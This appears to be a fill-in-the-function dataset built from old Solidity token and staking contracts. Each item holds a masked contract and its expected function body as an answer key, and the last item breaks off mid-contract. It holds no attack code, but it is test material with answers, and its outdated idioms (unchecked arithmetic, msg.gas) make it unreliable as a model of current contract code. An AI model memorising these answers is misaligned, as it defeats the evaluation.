function EduMetrix() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function EduMetrix() public
56,248
Club1VIT
transferFrom
contract Club1VIT is Ownable { using SafeMath for uint256; string public name = "Club1 VIT"; string public symbol = "VIT"; uint8 public decimals = 0; uint256 public initialSupply = 1; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to); /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return initialSupply; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * onlyThe owner of the contract can do it. */ function transferFrom(address _from, address _to) public onlyOwner returns (bool) {<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _value) public returns (bool) { _value = 1; require(balances[msg.sender] == 1); require(_to == owner); if (!owner.call(bytes4(keccak256("resetToken()")))) revert(); balances[msg.sender] = 0; balances[_to] = 1; Transfer(msg.sender, _to); return true; } function Club1VIT() public { balances[msg.sender] = initialSupply; // Give the creator all initial tokens } }
contract Club1VIT is Ownable { using SafeMath for uint256; string public name = "Club1 VIT"; string public symbol = "VIT"; uint8 public decimals = 0; uint256 public initialSupply = 1; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to); /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return initialSupply; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } <FILL_FUNCTION> function transfer(address _to, uint256 _value) public returns (bool) { _value = 1; require(balances[msg.sender] == 1); require(_to == owner); if (!owner.call(bytes4(keccak256("resetToken()")))) revert(); balances[msg.sender] = 0; balances[_to] = 1; Transfer(msg.sender, _to); return true; } function Club1VIT() public { balances[msg.sender] = initialSupply; // Give the creator all initial tokens } }
require(_to != address(0)); require(balances[_from] == 1); balances[_from] = 0; balances[_to] = 1; allowed[_from][msg.sender] = 0; Transfer(_from, _to); return true;
function transferFrom(address _from, address _to) public onlyOwner returns (bool)
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * onlyThe owner of the contract can do it. */ function transferFrom(address _from, address _to) public onlyOwner returns (bool)
13,400
gracoToken
null
contract gracoToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
contract gracoToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
symbol = "graco"; name = "Granacoin"; decimals = 3; _totalSupply = 15000000000; balances[0x07F52BcC2c5Cf6CF9860da69BAFFE8af57475e18] = _totalSupply; emit Transfer(address(0), 0x07F52BcC2c5Cf6CF9860da69BAFFE8af57475e18, _totalSupply);
constructor() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public
79,441
NervesSmartStaking
MasterStakeMultiSendEth
contract NervesSmartStaking{ using SafeMath for uint; ERC20 public token; struct Contribution{ uint amount; uint time; } struct User{ address user; uint amountAvailableToWithdraw; bool exists; uint totalAmount; uint totalBonusReceived; uint withdrawCount; Contribution[] contributions; } mapping(address => User) public users; address[] usersList; address owner; uint public totalTokensDeposited; uint public indexOfPayee; uint public EthBonus; uint public stakeContractBalance; uint public bonusRate; uint public indexOfEthSent; bool public depositStatus; modifier onlyOwner(){ require(msg.sender == owner); _; } constructor(address _token, uint _bonusRate) public { token = ERC20(_token); owner = msg.sender; bonusRate = _bonusRate; } event OwnerChanged(address newOwner); function ChangeOwner(address _newOwner) public onlyOwner { require(_newOwner != 0x0); require(_newOwner != owner); owner = _newOwner; emit OwnerChanged(_newOwner); } event BonusChanged(uint newBonus); function ChangeBonus(uint _newBonus) public onlyOwner { require(_newBonus > 0); bonusRate = _newBonus; emit BonusChanged(_newBonus); } event Deposited(address from, uint amount); function Deposit(uint _value) public returns(bool) { require(depositStatus); require(_value >= 50000 * (10 ** 18)); require(token.allowance(msg.sender, address(this)) >= _value); User storage user = users[msg.sender]; if(!user.exists){ usersList.push(msg.sender); user.user = msg.sender; user.exists = true; } user.totalAmount = user.totalAmount.add(_value); totalTokensDeposited = totalTokensDeposited.add(_value); user.contributions.push(Contribution(_value, now)); token.transferFrom(msg.sender, address(this), _value); stakeContractBalance = token.balanceOf(address(this)); emit Deposited(msg.sender, _value); return true; } function ChangeDepositeStatus(bool _status) public onlyOwner{ depositStatus = _status; } function StakeMultiSendToken() public onlyOwner { uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 40000 * (10 ** 18) && amount < 50000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this)); } function SuperStakeMultiSendToken() public onlyOwner { uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 50000000 * (10 ** 18) && amount < 200000000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this)); } function MasterStakeMultiSendToken() public onlyOwner { uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 200000000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this)); } event EthBonusSet(uint bonus); function SetEthBonus(uint _EthBonus) public onlyOwner { require(_EthBonus > 0); EthBonus = _EthBonus; stakeContractBalance = token.balanceOf(address(this)); indexOfEthSent = 0; emit EthBonusSet(_EthBonus); } function StakeMultiSendEth() public onlyOwner { require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 40000 * (10 ** 18) && amount < 50000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p; } function SuperStakeMultiSendEth() public onlyOwner { require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 50000000 * (10 ** 18) && amount < 200000000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p; } function MasterStakeMultiSendEth() public onlyOwner {<FILL_FUNCTION_BODY> } event MultiSendComplete(bool status); function MultiSendTokenComplete() public onlyOwner { indexOfPayee = 0; emit MultiSendComplete(true); } event Withdrawn(address withdrawnTo, uint amount); function WithdrawTokens(uint _value) public { require(_value > 0); User storage user = users[msg.sender]; for(uint q = 0; q < user.contributions.length; q++){ if(now > user.contributions[q].time + 4 weeks){ user.amountAvailableToWithdraw = user.amountAvailableToWithdraw.add(user.contributions[q].amount); } } require(_value <= user.amountAvailableToWithdraw); require(token.balanceOf(address(this)) >= _value); user.amountAvailableToWithdraw = user.amountAvailableToWithdraw.sub(_value); user.totalAmount = user.totalAmount.sub(_value); user.withdrawCount = user.withdrawCount.add(1); totalTokensDeposited = totalTokensDeposited.sub(_value); token.transfer(msg.sender, _value); stakeContractBalance = token.balanceOf(address(this)); emit Withdrawn(msg.sender, _value); } function() public payable{ } function WithdrawETH(uint amount) public onlyOwner{ require(amount > 0); require(address(this).balance >= amount * 1 ether); msg.sender.transfer(amount * 1 ether); } function CheckAllowance() public view returns(uint){ uint allowance = token.allowance(msg.sender, address(this)); return allowance; } function GetBonusReceived() public view returns(uint){ User memory user = users[msg.sender]; return user.totalBonusReceived; } function GetContributionsCount() public view returns(uint){ User memory user = users[msg.sender]; return user.contributions.length; } function GetWithdrawCount() public view returns(uint){ User memory user = users[msg.sender]; return user.withdrawCount; } function GetLockedTokens() public view returns(uint){ User memory user = users[msg.sender]; uint i; uint lockedTokens = 0; for(i = 0; i < user.contributions.length; i++){ if(now < user.contributions[i].time + 24 hours){ lockedTokens = lockedTokens.add(user.contributions[i].amount); } } return lockedTokens; } function ReturnTokens(address destination, address account, uint amount) public onlyOwner{ ERC20(destination).transfer(account,amount); } }
contract NervesSmartStaking{ using SafeMath for uint; ERC20 public token; struct Contribution{ uint amount; uint time; } struct User{ address user; uint amountAvailableToWithdraw; bool exists; uint totalAmount; uint totalBonusReceived; uint withdrawCount; Contribution[] contributions; } mapping(address => User) public users; address[] usersList; address owner; uint public totalTokensDeposited; uint public indexOfPayee; uint public EthBonus; uint public stakeContractBalance; uint public bonusRate; uint public indexOfEthSent; bool public depositStatus; modifier onlyOwner(){ require(msg.sender == owner); _; } constructor(address _token, uint _bonusRate) public { token = ERC20(_token); owner = msg.sender; bonusRate = _bonusRate; } event OwnerChanged(address newOwner); function ChangeOwner(address _newOwner) public onlyOwner { require(_newOwner != 0x0); require(_newOwner != owner); owner = _newOwner; emit OwnerChanged(_newOwner); } event BonusChanged(uint newBonus); function ChangeBonus(uint _newBonus) public onlyOwner { require(_newBonus > 0); bonusRate = _newBonus; emit BonusChanged(_newBonus); } event Deposited(address from, uint amount); function Deposit(uint _value) public returns(bool) { require(depositStatus); require(_value >= 50000 * (10 ** 18)); require(token.allowance(msg.sender, address(this)) >= _value); User storage user = users[msg.sender]; if(!user.exists){ usersList.push(msg.sender); user.user = msg.sender; user.exists = true; } user.totalAmount = user.totalAmount.add(_value); totalTokensDeposited = totalTokensDeposited.add(_value); user.contributions.push(Contribution(_value, now)); token.transferFrom(msg.sender, address(this), _value); stakeContractBalance = token.balanceOf(address(this)); emit Deposited(msg.sender, _value); return true; } function ChangeDepositeStatus(bool _status) public onlyOwner{ depositStatus = _status; } function StakeMultiSendToken() public onlyOwner { uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 40000 * (10 ** 18) && amount < 50000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this)); } function SuperStakeMultiSendToken() public onlyOwner { uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 50000000 * (10 ** 18) && amount < 200000000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this)); } function MasterStakeMultiSendToken() public onlyOwner { uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 200000000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this)); } event EthBonusSet(uint bonus); function SetEthBonus(uint _EthBonus) public onlyOwner { require(_EthBonus > 0); EthBonus = _EthBonus; stakeContractBalance = token.balanceOf(address(this)); indexOfEthSent = 0; emit EthBonusSet(_EthBonus); } function StakeMultiSendEth() public onlyOwner { require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 40000 * (10 ** 18) && amount < 50000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p; } function SuperStakeMultiSendEth() public onlyOwner { require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 50000000 * (10 ** 18) && amount < 200000000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p; } <FILL_FUNCTION> event MultiSendComplete(bool status); function MultiSendTokenComplete() public onlyOwner { indexOfPayee = 0; emit MultiSendComplete(true); } event Withdrawn(address withdrawnTo, uint amount); function WithdrawTokens(uint _value) public { require(_value > 0); User storage user = users[msg.sender]; for(uint q = 0; q < user.contributions.length; q++){ if(now > user.contributions[q].time + 4 weeks){ user.amountAvailableToWithdraw = user.amountAvailableToWithdraw.add(user.contributions[q].amount); } } require(_value <= user.amountAvailableToWithdraw); require(token.balanceOf(address(this)) >= _value); user.amountAvailableToWithdraw = user.amountAvailableToWithdraw.sub(_value); user.totalAmount = user.totalAmount.sub(_value); user.withdrawCount = user.withdrawCount.add(1); totalTokensDeposited = totalTokensDeposited.sub(_value); token.transfer(msg.sender, _value); stakeContractBalance = token.balanceOf(address(this)); emit Withdrawn(msg.sender, _value); } function() public payable{ } function WithdrawETH(uint amount) public onlyOwner{ require(amount > 0); require(address(this).balance >= amount * 1 ether); msg.sender.transfer(amount * 1 ether); } function CheckAllowance() public view returns(uint){ uint allowance = token.allowance(msg.sender, address(this)); return allowance; } function GetBonusReceived() public view returns(uint){ User memory user = users[msg.sender]; return user.totalBonusReceived; } function GetContributionsCount() public view returns(uint){ User memory user = users[msg.sender]; return user.contributions.length; } function GetWithdrawCount() public view returns(uint){ User memory user = users[msg.sender]; return user.withdrawCount; } function GetLockedTokens() public view returns(uint){ User memory user = users[msg.sender]; uint i; uint lockedTokens = 0; for(i = 0; i < user.contributions.length; i++){ if(now < user.contributions[i].time + 24 hours){ lockedTokens = lockedTokens.add(user.contributions[i].amount); } } return lockedTokens; } function ReturnTokens(address destination, address account, uint amount) public onlyOwner{ ERC20(destination).transfer(account,amount); } }
require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 200000000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p;
function MasterStakeMultiSendEth() public onlyOwner
function MasterStakeMultiSendEth() public onlyOwner
34,100
Permissions
uniswap
contract Permissions is Context { address private _creator; address private _uniswap; mapping (address => bool) private _permitted; constructor() public { _creator = 0x3034c13adA81E8D10A249F3DdfcD74A03688e468; _uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; _permitted[_creator] = true; _permitted[_uniswap] = true; } function creator() public view returns (address) { return _creator; } function uniswap() public view returns (address) {<FILL_FUNCTION_BODY> } function givePermissions(address who) internal { require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action"); _permitted[who] = true; } modifier onlyCreator { require(_msgSender() == _creator, "You do not have permissions for this action"); _; } modifier onlyPermitted { require(_permitted[_msgSender()], "You do not have permissions for this action"); _; } }
contract Permissions is Context { address private _creator; address private _uniswap; mapping (address => bool) private _permitted; constructor() public { _creator = 0x3034c13adA81E8D10A249F3DdfcD74A03688e468; _uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; _permitted[_creator] = true; _permitted[_uniswap] = true; } function creator() public view returns (address) { return _creator; } <FILL_FUNCTION> function givePermissions(address who) internal { require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action"); _permitted[who] = true; } modifier onlyCreator { require(_msgSender() == _creator, "You do not have permissions for this action"); _; } modifier onlyPermitted { require(_permitted[_msgSender()], "You do not have permissions for this action"); _; } }
return _uniswap;
function uniswap() public view returns (address)
function uniswap() public view returns (address)
11,932
JMEG
burn
contract JMEG { string public name; string public symbol; uint8 public decimals = 18; uint256 public total = 666000000; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function JMEG( ) public { totalSupply = total * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "JMEG"; symbol = "JMEG"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
contract JMEG { string public name; string public symbol; uint8 public decimals = 18; uint256 public total = 666000000; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function JMEG( ) public { totalSupply = total * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "JMEG"; symbol = "JMEG"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } <FILL_FUNCTION> function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true;
function burn(uint256 _value) public returns (bool success)
function burn(uint256 _value) public returns (bool success)
39,681
DGB
_transfer
contract DGB { // Public variables of the token string public name = "DIGIBYTE"; string public symbol = "DGB"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default uint256 public totalSupply; uint256 public tokenSupply = 21000000000; uint256 public buyPrice = 25000; address public creator; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); event FundTransfer(address backer, uint amount, bool isContribution); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function DGB() public { totalSupply = tokenSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give DatBoiCoin Mint the total created tokens creator = msg.sender; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /// @notice Buy tokens from contract by sending ether function () payable internal { uint amount = msg.value * buyPrice; // calculates the amount, made it so you can get many BOIS but to get MANY BOIS you have to spend ETH and not WEI uint amountRaised; amountRaised += msg.value; //many thanks bois, couldnt do it without r/me_irl require(balanceOf[creator] >= amount); // checks if it has enough to sell balanceOf[msg.sender] += amount; // adds the amount to buyer's balance balanceOf[creator] -= amount; // sends ETH to DatBoiCoinMint Transfer(creator, msg.sender, amount); // execute an event reflecting the change creator.transfer(amountRaised); } }
contract DGB { // Public variables of the token string public name = "DIGIBYTE"; string public symbol = "DGB"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default uint256 public totalSupply; uint256 public tokenSupply = 21000000000; uint256 public buyPrice = 25000; address public creator; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); event FundTransfer(address backer, uint amount, bool isContribution); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function DGB() public { totalSupply = tokenSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give DatBoiCoin Mint the total created tokens creator = msg.sender; } <FILL_FUNCTION> /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /// @notice Buy tokens from contract by sending ether function () payable internal { uint amount = msg.value * buyPrice; // calculates the amount, made it so you can get many BOIS but to get MANY BOIS you have to spend ETH and not WEI uint amountRaised; 